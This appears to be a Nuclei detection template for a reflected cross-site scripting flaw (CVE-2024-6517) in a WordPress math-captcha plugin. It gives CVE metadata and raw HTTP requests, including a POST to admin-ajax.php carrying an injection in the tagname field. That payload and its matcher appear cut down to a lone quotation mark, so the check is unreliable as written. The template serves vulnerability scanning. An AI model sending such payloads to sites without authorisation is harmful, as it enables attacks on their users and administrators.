id: CVE-2024-6517
info:
name: Contact Form 7 Math Captcha <= 2.0.1 - Cross-site Scripting
author: s4e-io
severity: medium
description: |
The Contact Form 7 Math Captcha WordPress plugin through 2.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users.
reference:
- https://wpscan.com/vulnerability/d04bab9c-7cb4-4d21-b70b-a4a7fabc3c20/
- https://nvd.nist.gov/vuln/detail/CVE-2024-6517
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-6517
cwe-id: CWE-79
epss-score: 0.00043
epss-percentile: 0.09608
cpe: cpe:2.3:a:dotsquares:contact_form_7_math_captcha:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: dotsquares-wpteam
product: ds-cf7-math-captcha
framework: wordpress
publicwww-query: "/wp-content/plugins/ds-cf7-math-captcha"
tags: cve,cve2024,wp,wordpress,wp-plugin,xss,ds-cf7-math-captcha
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"/wp-content/plugins/ds-cf7-math-captcha")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=dscf7_refreshcaptcha&tagname="
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"'
- type: word
part: content_type
words:
- 'text/html'
- type: status
status:
- 200
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